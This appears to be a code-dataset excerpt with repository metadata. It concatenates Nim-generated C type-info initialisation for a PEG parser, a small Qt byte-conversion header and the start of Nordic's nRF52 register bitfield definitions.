TM__YGOrctedenU9ao6jM7xmy6g_0[8].typ = (&NTI__7MBEr6JdfMtt2SLdWJ4TnA_);
TM__YGOrctedenU9ao6jM7xmy6g_0[8].name = "tok";
TM__YGOrctedenU9ao6jM7xmy6g_3_6[1] = &TM__YGOrctedenU9ao6jM7xmy6g_0[46];
NTI__VMn2tGRm8B9a9cqMEec3KPEA_.size = sizeof(tyObject_NonTerminalObj__VMn2tGRm8B9a9cqMEec3KPEA);
NTI__VMn2tGRm8B9a9cqMEec3KPEA_.align = NIM_ALIGNOF(tyObject_NonTerminalObj__VMn2tGRm8B9a9cqMEec3KPEA);
NTI__VMn2tGRm8B9a9cqMEec3KPEA_.kind = 18;
NTI__VMn2tGRm8B9a9cqMEec3KPEA_.base = 0;
TM__YGOrctedenU9ao6jM7xmy6g_11_5[0] = &TM__YGOrctedenU9ao6jM7xmy6g_0[48];
TM__YGOrctedenU9ao6jM7xmy6g_0[48].kind = 1;
TM__YGOrctedenU9ao6jM7xmy6g_0[48].offset = offsetof(tyObject_NonTerminalObj__VMn2tGRm8B9a9cqMEec3KPEA, name);
TM__YGOrctedenU9ao6jM7xmy6g_0[48].typ = (&NTI__77mFvmsOLKik79ci2hXkHEg_);
TM__YGOrctedenU9ao6jM7xmy6g_0[48].name = "name";
TM__YGOrctedenU9ao6jM7xmy6g_11_5[1] = &TM__YGOrctedenU9ao6jM7xmy6g_0[49];
TM__YGOrctedenU9ao6jM7xmy6g_0[49].kind = 1;
TM__YGOrctedenU9ao6jM7xmy6g_0[49].offset = offsetof(tyObject_NonTerminalObj__VMn2tGRm8B9a9cqMEec3KPEA, line);
TM__YGOrctedenU9ao6jM7xmy6g_0[49].typ = (&NTI__rR5Bzr1D5krxoo1NcNyeMA_);
TM__YGOrctedenU9ao6jM7xmy6g_0[49].name = "line";
TM__YGOrctedenU9ao6jM7xmy6g_11_5[2] = &TM__YGOrctedenU9ao6jM7xmy6g_0[50];
TM__YGOrctedenU9ao6jM7xmy6g_0[50].kind = 1;
TM__YGOrctedenU9ao6jM7xmy6g_0[50].offset = offsetof(tyObject_NonTerminalObj__VMn2tGRm8B9a9cqMEec3KPEA, col);
TM__YGOrctedenU9ao6jM7xmy6g_0[50].typ = (&NTI__rR5Bzr1D5krxoo1NcNyeMA_);
TM__YGOrctedenU9ao6jM7xmy6g_0[50].name = "col";
TM__YGOrctedenU9ao6jM7xmy6g_11_5[3] = &TM__YGOrctedenU9ao6jM7xmy6g_0[51];
NTI__raeF9a9anryo8cnwfITE0Glw_.size = sizeof(tyEnum_NonTerminalFlag__raeF9a9anryo8cnwfITE0Glw);
NTI__raeF9a9anryo8cnwfITE0Glw_.align = NIM_ALIGNOF(tyEnum_NonTerminalFlag__raeF9a9anryo8cnwfITE0Glw);
NTI__raeF9a9anryo8cnwfITE0Glw_.kind = 14;
NTI__raeF9a9anryo8cnwfITE0Glw_.base = 0;
NTI__raeF9a9anryo8cnwfITE0Glw_.flags = 3;
for (TM__YGOrctedenU9ao6jM7xmy6g_14 = 0; TM__YGOrctedenU9ao6jM7xmy6g_14 < 2; TM__YGOrctedenU9ao6jM7xmy6g_14++) {
TM__YGOrctedenU9ao6jM7xmy6g_0[TM__YGOrctedenU9ao6jM7xmy6g_14+52].kind = 1;
TM__YGOrctedenU9ao6jM7xmy6g_0[TM__YGOrctedenU9ao6jM7xmy6g_14+52].offset = TM__YGOrctedenU9ao6jM7xmy6g_14;
TM__YGOrctedenU9ao6jM7xmy6g_0[TM__YGOrctedenU9ao6jM7xmy6g_14+52].name = TM__YGOrctedenU9ao6jM7xmy6g_13[TM__YGOrctedenU9ao6jM7xmy6g_14];
TM__YGOrctedenU9ao6jM7xmy6g_12_2[TM__YGOrctedenU9ao6jM7xmy6g_14] = &TM__YGOrctedenU9ao6jM7xmy6g_0[TM__YGOrctedenU9ao6jM7xmy6g_14+52];
}
TM__YGOrctedenU9ao6jM7xmy6g_0[54].len = 2; TM__YGOrctedenU9ao6jM7xmy6g_0[54].kind = 2; TM__YGOrctedenU9ao6jM7xmy6g_0[54].sons = &TM__YGOrctedenU9ao6jM7xmy6g_12_2[0];
NTI__raeF9a9anryo8cnwfITE0Glw_.node = &TM__YGOrctedenU9ao6jM7xmy6g_0[54];
NTI__lU0PfHKIn29cxb4xJ1TaXlA_.size = sizeof(tySet_tyEnum_NonTerminalFlag__raeF9a9anryo8cnwfITE0Glw);
NTI__lU0PfHKIn29cxb4xJ1TaXlA_.align = NIM_ALIGNOF(tySet_tyEnum_NonTerminalFlag__raeF9a9anryo8cnwfITE0Glw);
NTI__lU0PfHKIn29cxb4xJ1TaXlA_.kind = 19;
NTI__lU0PfHKIn29cxb4xJ1TaXlA_.base = (&NTI__raeF9a9anryo8cnwfITE0Glw_);
NTI__lU0PfHKIn29cxb4xJ1TaXlA_.flags = 3;
TM__YGOrctedenU9ao6jM7xmy6g_0[55].len = 0; TM__YGOrctedenU9ao6jM7xmy6g_0[55].kind = 0;
NTI__lU0PfHKIn29cxb4xJ1TaXlA_.node = &TM__YGOrctedenU9ao6jM7xmy6g_0[55];
TM__YGOrctedenU9ao6jM7xmy6g_0[51].kind = 1;
TM__YGOrctedenU9ao6jM7xmy6g_0[51].offset = offsetof(tyObject_NonTerminalObj__VMn2tGRm8B9a9cqMEec3KPEA, flags);
TM__YGOrctedenU9ao6jM7xmy6g_0[51].typ = (&NTI__lU0PfHKIn29cxb4xJ1TaXlA_);
TM__YGOrctedenU9ao6jM7xmy6g_0[51].name = "flags";
TM__YGOrctedenU9ao6jM7xmy6g_11_5[4] = &TM__YGOrctedenU9ao6jM7xmy6g_0[56];
NTI__4Bytir9b2lq5I84yi5O7ztQ_.size = sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ);
NTI__4Bytir9b2lq5I84yi5O7ztQ_.align = NIM_ALIGNOF(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ);
NTI__4Bytir9b2lq5I84yi5O7ztQ_.kind = 18;
NTI__4Bytir9b2lq5I84yi5O7ztQ_.base = 0;
NTI__r9a6rAhGclsLWkBysfmtr6Q_.size = sizeof(tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q);
NTI__r9a6rAhGclsLWkBysfmtr6Q_.align = NIM_ALIGNOF(tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q);
NTI__r9a6rAhGclsLWkBysfmtr6Q_.kind = 14;
NTI__r9a6rAhGclsLWkBysfmtr6Q_.base = 0;
NTI__r9a6rAhGclsLWkBysfmtr6Q_.flags = 3;
for (TM__YGOrctedenU9ao6jM7xmy6g_17 = 0; TM__YGOrctedenU9ao6jM7xmy6g_17 < 33; TM__YGOrctedenU9ao6jM7xmy6g_17++) {
TM__YGOrctedenU9ao6jM7xmy6g_0[TM__YGOrctedenU9ao6jM7xmy6g_17+58].kind = 1;
TM__YGOrctedenU9ao6jM7xmy6g_0[TM__YGOrctedenU9ao6jM7xmy6g_17+58].offset = TM__YGOrctedenU9ao6jM7xmy6g_17;
TM__YGOrctedenU9ao6jM7xmy6g_0[TM__YGOrctedenU9ao6jM7xmy6g_17+58].name = TM__YGOrctedenU9ao6jM7xmy6g_16[TM__YGOrctedenU9ao6jM7xmy6g_17];
TM__YGOrctedenU9ao6jM7xmy6g_15_33[TM__YGOrctedenU9ao6jM7xmy6g_17] = &TM__YGOrctedenU9ao6jM7xmy6g_0[TM__YGOrctedenU9ao6jM7xmy6g_17+58];
}
TM__YGOrctedenU9ao6jM7xmy6g_0[91].len = 33; TM__YGOrctedenU9ao6jM7xmy6g_0[91].kind = 2; TM__YGOrctedenU9ao6jM7xmy6g_0[91].sons = &TM__YGOrctedenU9ao6jM7xmy6g_15_33[0];
NTI__r9a6rAhGclsLWkBysfmtr6Q_.node = &TM__YGOrctedenU9ao6jM7xmy6g_0[91];
TM__YGOrctedenU9ao6jM7xmy6g_0[57].kind = 3;
TM__YGOrctedenU9ao6jM7xmy6g_0[57].offset = offsetof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ, kind);
TM__YGOrctedenU9ao6jM7xmy6g_0[57].typ = (&NTI__r9a6rAhGclsLWkBysfmtr6Q_);
TM__YGOrctedenU9ao6jM7xmy6g_0[57].name = "kind";
TM__YGOrctedenU9ao6jM7xmy6g_0[57].sons = &NimDT___4Bytir9b2lq5I84yi5O7ztQ_kind[0];
TM__YGOrctedenU9ao6jM7xmy6g_0[57].len = 33;
TM__YGOrctedenU9ao6jM7xmy6g_0[92].len = 0; TM__YGOrctedenU9ao6jM7xmy6g_0[92].kind = 2;
NimDT___4Bytir9b2lq5I84yi5O7ztQ_kind[0] = &TM__YGOrctedenU9ao6jM7xmy6g_0[92];
NimDT___4Bytir9b2lq5I84yi5O7ztQ_kind[1] = &TM__YGOrctedenU9ao6jM7xmy6g_0[92];
NimDT___4Bytir9b2lq5I84yi5O7ztQ_kind[2] = &TM__YGOrctedenU9ao6jM7xmy6g_0[92];
NimDT___4Bytir9b2lq5I84yi5O7ztQ_kind[3] = &TM__YGOrctedenU9ao6jM7xmy6g_0[92];
NimDT___4Bytir9b2lq5I84yi5O7ztQ_kind[4] = &TM__YGOrctedenU9ao6jM7xmy6g_0[92];
NimDT___4Bytir9b2lq5I84yi5O7ztQ_kind[5] = &TM__YGOrctedenU9ao6jM7xmy6g_0[92];
NimDT___4Bytir9b2lq5I84yi5O7ztQ_kind[6] = &TM__YGOrctedenU9ao6jM7xmy6g_0[92];
NimDT___4Bytir9b2lq5I84yi5O7ztQ_kind[7] = &TM__YGOrctedenU9ao6jM7xmy6g_0[92];
NimDT___4Bytir9b2lq5I84yi5O7ztQ_kind[8] = &TM__YGOrctedenU9ao6jM7xmy6g_0[92];
TM__YGOrctedenU9ao6jM7xmy6g_0[93].kind = 1;
TM__YGOrctedenU9ao6jM7xmy6g_0[93].offset = offsetof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ, term);
TM__YGOrctedenU9ao6jM7xmy6g_0[93].typ = (&NTI__77mFvmsOLKik79ci2hXkHEg_);
TM__YGOrctedenU9ao6jM7xmy6g_0[93].name = "term";
NimDT___4Bytir9b2lq5I84yi5O7ztQ_kind[9] = &TM__YGOrctedenU9ao6jM7xmy6g_0[93];
NimDT___4Bytir9b2lq5I84yi5O7ztQ_kind[10] = &TM__YGOrctedenU9ao6jM7xmy6g_0[93];
NimDT___4Bytir9b2lq5I84yi5O7ztQ_kind[11] = &TM__YGOrctedenU9ao6jM7xmy6g_0[93];
TM__YGOrctedenU9ao6jM7xmy6g_0[94].kind = 1;
TM__YGOrctedenU9ao6jM7xmy6g_0[94].offset = offsetof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ, ch);
TM__YGOrctedenU9ao6jM7xmy6g_0[94].typ = (&NTI__nmiMWKVIe46vacnhAFrQvw_);
TM__YGOrctedenU9ao6jM7xmy6g_0[94].name = "ch";
NimDT___4Bytir9b2lq5I84yi5O7ztQ_kind[12] = &TM__YGOrctedenU9ao6jM7xmy6g_0[94];
NimDT___4Bytir9b2lq5I84yi5O7ztQ_kind[18] = &TM__YGOrctedenU9ao6jM7xmy6g_0[94];
NTI__DWDl83X3sWmMXGYAzF5Aug_.size = sizeof(NU8*);
NTI__DWDl83X3sWmMXGYAzF5Aug_.align = NIM_ALIGNOF(NU8*);
NTI__DWDl83X3sWmMXGYAzF5Aug_.kind = 22;
NTI__DWDl83X3sWmMXGYAzF5Aug_.base = (&NTI__HDqWPvEAxZK51ZcfaeQEdg_);
NTI__DWDl83X3sWmMXGYAzF5Aug_.flags = 2;
NTI__DWDl83X3sWmMXGYAzF5Aug_.marker = Marker_tyRef__DWDl83X3sWmMXGYAzF5Aug;
TM__YGOrctedenU9ao6jM7xmy6g_0[95].kind = 1;
TM__YGOrctedenU9ao6jM7xmy6g_0[95].offset = offsetof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ, charChoice);
TM__YGOrctedenU9ao6jM7xmy6g_0[95].typ = (&NTI__DWDl83X3sWmMXGYAzF5Aug_);
TM__YGOrctedenU9ao6jM7xmy6g_0[95].name = "charChoice";
NimDT___4Bytir9b2lq5I84yi5O7ztQ_kind[13] = &TM__YGOrctedenU9ao6jM7xmy6g_0[95];
NimDT___4Bytir9b2lq5I84yi5O7ztQ_kind[19] = &TM__YGOrctedenU9ao6jM7xmy6g_0[95];
TM__YGOrctedenU9ao6jM7xmy6g_0[96].kind = 1;
TM__YGOrctedenU9ao6jM7xmy6g_0[96].offset = offsetof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ, nt);
TM__YGOrctedenU9ao6jM7xmy6g_0[96].typ = (&NTI__ne9c8mGWiMWXBIOmu9cRFBTw_);
TM__YGOrctedenU9ao6jM7xmy6g_0[96].name = "nt";
NimDT___4Bytir9b2lq5I84yi5O7ztQ_kind[14] = &TM__YGOrctedenU9ao6jM7xmy6g_0[96];
TM__YGOrctedenU9ao6jM7xmy6g_0[97].kind = 1;
TM__YGOrctedenU9ao6jM7xmy6g_0[97].offset = offsetof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ, index);
TM__YGOrctedenU9ao6jM7xmy6g_0[97].typ = (&NTI__a9bIsIkdQvQMv0xYGrfgSag_);
TM__YGOrctedenU9ao6jM7xmy6g_0[97].name = "index";
NimDT___4Bytir9b2lq5I84yi5O7ztQ_kind[25] = &TM__YGOrctedenU9ao6jM7xmy6g_0[97];
NimDT___4Bytir9b2lq5I84yi5O7ztQ_kind[26] = &TM__YGOrctedenU9ao6jM7xmy6g_0[97];
NimDT___4Bytir9b2lq5I84yi5O7ztQ_kind[27] = &TM__YGOrctedenU9ao6jM7xmy6g_0[97];
NTI__5DSB9bTgCQCsIApS5TVlG8g_.size = sizeof(tySequence__5DSB9bTgCQCsIApS5TVlG8g*);
NTI__5DSB9bTgCQCsIApS5TVlG8g_.align = NIM_ALIGNOF(tySequence__5DSB9bTgCQCsIApS5TVlG8g*);
NTI__5DSB9bTgCQCsIApS5TVlG8g_.kind = 24;
NTI__5DSB9bTgCQCsIApS5TVlG8g_.base = (&NTI__4Bytir9b2lq5I84yi5O7ztQ_);
NTI__5DSB9bTgCQCsIApS5TVlG8g_.marker = Marker_tySequence__5DSB9bTgCQCsIApS5TVlG8g;
TM__YGOrctedenU9ao6jM7xmy6g_0[98].kind = 1;
TM__YGOrctedenU9ao6jM7xmy6g_0[98].offset = offsetof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ, sons);
TM__YGOrctedenU9ao6jM7xmy6g_0[98].typ = (&NTI__5DSB9bTgCQCsIApS5TVlG8g_);
TM__YGOrctedenU9ao6jM7xmy6g_0[98].name = "sons";
NimDT___4Bytir9b2lq5I84yi5O7ztQ_kind[33] = &TM__YGOrctedenU9ao6jM7xmy6g_0[98];
NTI__4Bytir9b2lq5I84yi5O7ztQ_.node = &TM__YGOrctedenU9ao6jM7xmy6g_0[57];
TM__YGOrctedenU9ao6jM7xmy6g_0[56].kind = 1;
TM__YGOrctedenU9ao6jM7xmy6g_0[56].offset = offsetof(tyObject_NonTerminalObj__VMn2tGRm8B9a9cqMEec3KPEA, rule);
TM__YGOrctedenU9ao6jM7xmy6g_0[56].typ = (&NTI__4Bytir9b2lq5I84yi5O7ztQ_);
TM__YGOrctedenU9ao6jM7xmy6g_0[56].name = "rule";
TM__YGOrctedenU9ao6jM7xmy6g_0[47].len = 5; TM__YGOrctedenU9ao6jM7xmy6g_0[47].kind = 2; TM__YGOrctedenU9ao6jM7xmy6g_0[47].sons = &TM__YGOrctedenU9ao6jM7xmy6g_11_5[0];
NTI__VMn2tGRm8B9a9cqMEec3KPEA_.node = &TM__YGOrctedenU9ao6jM7xmy6g_0[47];
NTI__ne9c8mGWiMWXBIOmu9cRFBTw_.size = sizeof(tyObject_NonTerminalObj__VMn2tGRm8B9a9cqMEec3KPEA*);
NTI__ne9c8mGWiMWXBIOmu9cRFBTw_.align = NIM_ALIGNOF(tyObject_NonTerminalObj__VMn2tGRm8B9a9cqMEec3KPEA*);
NTI__ne9c8mGWiMWXBIOmu9cRFBTw_.kind = 22;
NTI__ne9c8mGWiMWXBIOmu9cRFBTw_.base = (&NTI__VMn2tGRm8B9a9cqMEec3KPEA_);
NTI__ne9c8mGWiMWXBIOmu9cRFBTw_.marker = Marker_tyRef__ne9c8mGWiMWXBIOmu9cRFBTw;
NTI__wbtGjaWHe0od6j1oiCOVBQ_.size = sizeof(tySequence__wbtGjaWHe0od6j1oiCOVBQ*);
NTI__wbtGjaWHe0od6j1oiCOVBQ_.align = NIM_ALIGNOF(tySequence__wbtGjaWHe0od6j1oiCOVBQ*);
NTI__wbtGjaWHe0od6j1oiCOVBQ_.kind = 24;
NTI__wbtGjaWHe0od6j1oiCOVBQ_.base = (&NTI__ne9c8mGWiMWXBIOmu9cRFBTw_);
NTI__wbtGjaWHe0od6j1oiCOVBQ_.flags = 2;
NTI__wbtGjaWHe0od6j1oiCOVBQ_.marker = Marker_tySequence__wbtGjaWHe0od6j1oiCOVBQ;
TM__YGOrctedenU9ao6jM7xmy6g_0[46].kind = 1;
TM__YGOrctedenU9ao6jM7xmy6g_0[46].offset = offsetof(tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg, nonterms);
TM__YGOrctedenU9ao6jM7xmy6g_0[46].typ = (&NTI__wbtGjaWHe0od6j1oiCOVBQ_);
TM__YGOrctedenU9ao6jM7xmy6g_0[46].name = "nonterms";
TM__YGOrctedenU9ao6jM7xmy6g_3_6[2] = &TM__YGOrctedenU9ao6jM7xmy6g_0[99];
TM__YGOrctedenU9ao6jM7xmy6g_0[99].kind = 1;
TM__YGOrctedenU9ao6jM7xmy6g_0[99].offset = offsetof(tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg, modifier);
TM__YGOrctedenU9ao6jM7xmy6g_0[99].typ = (&NTI__7Wz82JmsepInwCEDiPsupA_);
TM__YGOrctedenU9ao6jM7xmy6g_0[99].name = "modifier";
TM__YGOrctedenU9ao6jM7xmy6g_3_6[3] = &TM__YGOrctedenU9ao6jM7xmy6g_0[100];
TM__YGOrctedenU9ao6jM7xmy6g_0[100].kind = 1;
TM__YGOrctedenU9ao6jM7xmy6g_0[100].offset = offsetof(tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg, captures);
TM__YGOrctedenU9ao6jM7xmy6g_0[100].typ = (&NTI__rR5Bzr1D5krxoo1NcNyeMA_);
TM__YGOrctedenU9ao6jM7xmy6g_0[100].name = "captures";
TM__YGOrctedenU9ao6jM7xmy6g_3_6[4] = &TM__YGOrctedenU9ao6jM7xmy6g_0[101];
TM__YGOrctedenU9ao6jM7xmy6g_0[101].kind = 1;
TM__YGOrctedenU9ao6jM7xmy6g_0[101].offset = offsetof(tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg, identIsVerbatim);
TM__YGOrctedenU9ao6jM7xmy6g_0[101].typ = (&NTI__VaVACK0bpYmqIQ0mKcHfQQ_);
TM__YGOrctedenU9ao6jM7xmy6g_0[101].name = "identIsVerbatim";
TM__YGOrctedenU9ao6jM7xmy6g_3_6[5] = &TM__YGOrctedenU9ao6jM7xmy6g_0[102];
TM__YGOrctedenU9ao6jM7xmy6g_0[102].kind = 1;
TM__YGOrctedenU9ao6jM7xmy6g_0[102].offset = offsetof(tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg, skip);
TM__YGOrctedenU9ao6jM7xmy6g_0[102].typ = (&NTI__4Bytir9b2lq5I84yi5O7ztQ_);
TM__YGOrctedenU9ao6jM7xmy6g_0[102].name = "skip";
TM__YGOrctedenU9ao6jM7xmy6g_0[7].len = 6; TM__YGOrctedenU9ao6jM7xmy6g_0[7].kind = 2; TM__YGOrctedenU9ao6jM7xmy6g_0[7].sons = &TM__YGOrctedenU9ao6jM7xmy6g_3_6[0];
NTI__YGbAG2ONLZxyHsgzU1OeCg_.node = &TM__YGOrctedenU9ao6jM7xmy6g_0[7];
NTI__puU8NKFnFhXREunnzDo9bUA_.size = sizeof(tyObject_EInvalidPeg__puU8NKFnFhXREunnzDo9bUA);
NTI__puU8NKFnFhXREunnzDo9bUA_.align = NIM_ALIGNOF(tyObject_EInvalidPeg__puU8NKFnFhXREunnzDo9bUA);
NTI__puU8NKFnFhXREunnzDo9bUA_.kind = 17;
NTI__puU8NKFnFhXREunnzDo9bUA_.base = (&NTI__yoNlBGx0D2tRizIdhQuENw_);
TM__YGOrctedenU9ao6jM7xmy6g_0[103].len = 0; TM__YGOrctedenU9ao6jM7xmy6g_0[103].kind = 2;
NTI__puU8NKFnFhXREunnzDo9bUA_.node = &TM__YGOrctedenU9ao6jM7xmy6g_0[103];
NTI__9cnKZRDpncoV9cvYmm9cA6N5A_.size = sizeof(tyObject_EInvalidPeg__puU8NKFnFhXREunnzDo9bUA*);
NTI__9cnKZRDpncoV9cvYmm9cA6N5A_.align = NIM_ALIGNOF(tyObject_EInvalidPeg__puU8NKFnFhXREunnzDo9bUA*);
NTI__9cnKZRDpncoV9cvYmm9cA6N5A_.kind = 22;
NTI__9cnKZRDpncoV9cvYmm9cA6N5A_.base = (&NTI__puU8NKFnFhXREunnzDo9bUA_);
NTI__9cnKZRDpncoV9cvYmm9cA6N5A_.marker = Marker_tyRef__9cnKZRDpncoV9cvYmm9cA6N5A;
}
| [
"JuanCarlospaco@gmail.com"
] | JuanCarlospaco@gmail.com |
390fba61e9d7a72cb74a35b676c27d4be8f28742 | 93721de64ca595a772d168fb04610ad6c268ea2c | /src/common.h | 8b3ccaef007c7932c25dc521dff338fa528ecdd5 | [] | no_license | ww4u/megaroboupdate | a7d90cdeb4d52c9cddddb7da5c4f77eca5a63986 | 0b6e2d0468baa5eb2191af2eb2dfc7d575d6d9b8 | refs/heads/master | 2022-12-15T03:11:06.886585 | 2019-07-27T05:42:25 | 2019-07-27T05:42:25 | 296,257,458 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 204 | h | #ifndef COMMON_H
#define COMMON_H
#include <QByteArray>
/* */
enum Endian
{
LittileEndian,
BigEndian
};
int byteArrayToInt(QByteArray arr, Endian endian = LittileEndian);
#endif // COMMON_H
| [
"liwenqiang@megarobo.tech"
] | liwenqiang@megarobo.tech |
e75dbed4de147c6c51a2f45c47c65bf2a19aa6cf | 732d2cc6ec3f14b224d420f956d84106fc19b565 | /core/include/mcu/nrf52_bitfields.h | e5d31091b854071eb1a3be539f1b8d9958a3886a | [] | no_license | WojciechJasko/nordic_sdk | 6a84ceb29c77ee78483dd8e0593100387c3b81eb | 0becc11040e382e6bc9398c8ab617a99f86cc8ec | refs/heads/master | 2021-01-11T19:36:19.497609 | 2016-10-23T18:25:42 | 2016-10-23T18:25:42 | 69,036,037 | 1 | 0 | null | null | null | null | UTF-8 | C | false | false | 738,269 | h | /* Copyright (c) 2016, Nordic Semiconductor ASA
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice, this
* list of conditions and the following disclaimer.
*
* * Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* * Neither the name of Nordic Semiconductor ASA nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
*/
#ifndef __NRF52_BITS_H
#define __NRF52_BITS_H
/*lint ++flb "Enter library region" */
/* Peripheral: AAR */
/* Description: Accelerated Address Resolver */
/* Register: AAR_INTENSET */
/* Description: Enable interrupt */
/* Bit 2 : Write '1' to Enable interrupt for NOTRESOLVED event */
#define AAR_INTENSET_NOTRESOLVED_Pos (2UL) /*!< Position of NOTRESOLVED field. */
#define AAR_INTENSET_NOTRESOLVED_Msk (0x1UL << AAR_INTENSET_NOTRESOLVED_Pos) /*!< Bit mask of NOTRESOLVED field. */
#define AAR_INTENSET_NOTRESOLVED_Disabled (0UL) /*!< Read: Disabled */
#define AAR_INTENSET_NOTRESOLVED_Enabled (1UL) /*!< Read: Enabled */
#define AAR_INTENSET_NOTRESOLVED_Set (1UL) /*!< Enable */
/* Bit 1 : Write '1' to Enable interrupt for RESOLVED event */
#define AAR_INTENSET_RESOLVED_Pos (1UL) /*!< Position of RESOLVED field. */
#define AAR_INTENSET_RESOLVED_Msk (0x1UL << AAR_INTENSET_RESOLVED_Pos) /*!< Bit mask of RESOLVED field. */
#define AAR_INTENSET_RESOLVED_Disabled (0UL) /*!< Read: Disabled */
#define AAR_INTENSET_RESOLVED_Enabled (1UL) /*!< Read: Enabled */
#define AAR_INTENSET_RESOLVED_Set (1UL) /*!< Enable */
/* Bit 0 : Write '1' to Enable interrupt for END event */
#define AAR_INTENSET_END_Pos (0UL) /*!< Position of END field. */
#define AAR_INTENSET_END_Msk (0x1UL << AAR_INTENSET_END_Pos) /*!< Bit mask of END field. */
#define AAR_INTENSET_END_Disabled (0UL) /*!< Read: Disabled */
#define AAR_INTENSET_END_Enabled (1UL) /*!< Read: Enabled */
#define AAR_INTENSET_END_Set (1UL) /*!< Enable */
/* Register: AAR_INTENCLR */
/* Description: Disable interrupt */
/* Bit 2 : Write '1' to Disable interrupt for NOTRESOLVED event */
#define AAR_INTENCLR_NOTRESOLVED_Pos (2UL) /*!< Position of NOTRESOLVED field. */
#define AAR_INTENCLR_NOTRESOLVED_Msk (0x1UL << AAR_INTENCLR_NOTRESOLVED_Pos) /*!< Bit mask of NOTRESOLVED field. */
#define AAR_INTENCLR_NOTRESOLVED_Disabled (0UL) /*!< Read: Disabled */
#define AAR_INTENCLR_NOTRESOLVED_Enabled (1UL) /*!< Read: Enabled */
#define AAR_INTENCLR_NOTRESOLVED_Clear (1UL) /*!< Disable */
/* Bit 1 : Write '1' to Disable interrupt for RESOLVED event */
#define AAR_INTENCLR_RESOLVED_Pos (1UL) /*!< Position of RESOLVED field. */
#define AAR_INTENCLR_RESOLVED_Msk (0x1UL << AAR_INTENCLR_RESOLVED_Pos) /*!< Bit mask of RESOLVED field. */
#define AAR_INTENCLR_RESOLVED_Disabled (0UL) /*!< Read: Disabled */
#define AAR_INTENCLR_RESOLVED_Enabled (1UL) /*!< Read: Enabled */
#define AAR_INTENCLR_RESOLVED_Clear (1UL) /*!< Disable */
/* Bit 0 : Write '1' to Disable interrupt for END event */
#define AAR_INTENCLR_END_Pos (0UL) /*!< Position of END field. */
#define AAR_INTENCLR_END_Msk (0x1UL << AAR_INTENCLR_END_Pos) /*!< Bit mask of END field. */
#define AAR_INTENCLR_END_Disabled (0UL) /*!< Read: Disabled */
#define AAR_INTENCLR_END_Enabled (1UL) /*!< Read: Enabled */
#define AAR_INTENCLR_END_Clear (1UL) /*!< Disable */
/* Register: AAR_STATUS */
/* Description: Resolution status */
/* Bits 3..0 : The IRK that was used last time an address was resolved */
#define AAR_STATUS_STATUS_Pos (0UL) /*!< Position of STATUS field. */
#define AAR_STATUS_STATUS_Msk (0xFUL << AAR_STATUS_STATUS_Pos) /*!< Bit mask of STATUS field. */
/* Register: AAR_ENABLE */
/* Description: Enable AAR */
/* Bits 1..0 : Enable or disable AAR */
#define AAR_ENABLE_ENABLE_Pos (0UL) /*!< Position of ENABLE field. */
#define AAR_ENABLE_ENABLE_Msk (0x3UL << AAR_ENABLE_ENABLE_Pos) /*!< Bit mask of ENABLE field. */
#define AAR_ENABLE_ENABLE_Disabled (0UL) /*!< Disable */
#define AAR_ENABLE_ENABLE_Enabled (3UL) /*!< Enable */
/* Register: AAR_NIRK */
/* Description: Number of IRKs */
/* Bits 4..0 : Number of Identity root keys available in the IRK data structure */
#define AAR_NIRK_NIRK_Pos (0UL) /*!< Position of NIRK field. */
#define AAR_NIRK_NIRK_Msk (0x1FUL << AAR_NIRK_NIRK_Pos) /*!< Bit mask of NIRK field. */
/* Register: AAR_IRKPTR */
/* Description: Pointer to IRK data structure */
/* Bits 31..0 : Pointer to the IRK data structure */
#define AAR_IRKPTR_IRKPTR_Pos (0UL) /*!< Position of IRKPTR field. */
#define AAR_IRKPTR_IRKPTR_Msk (0xFFFFFFFFUL << AAR_IRKPTR_IRKPTR_Pos) /*!< Bit mask of IRKPTR field. */
/* Register: AAR_ADDRPTR */
/* Description: Pointer to the resolvable address */
/* Bits 31..0 : Pointer to the resolvable address (6-bytes) */
#define AAR_ADDRPTR_ADDRPTR_Pos (0UL) /*!< Position of ADDRPTR field. */
#define AAR_ADDRPTR_ADDRPTR_Msk (0xFFFFFFFFUL << AAR_ADDRPTR_ADDRPTR_Pos) /*!< Bit mask of ADDRPTR field. */
/* Register: AAR_SCRATCHPTR */
/* Description: Pointer to data area used for temporary storage */
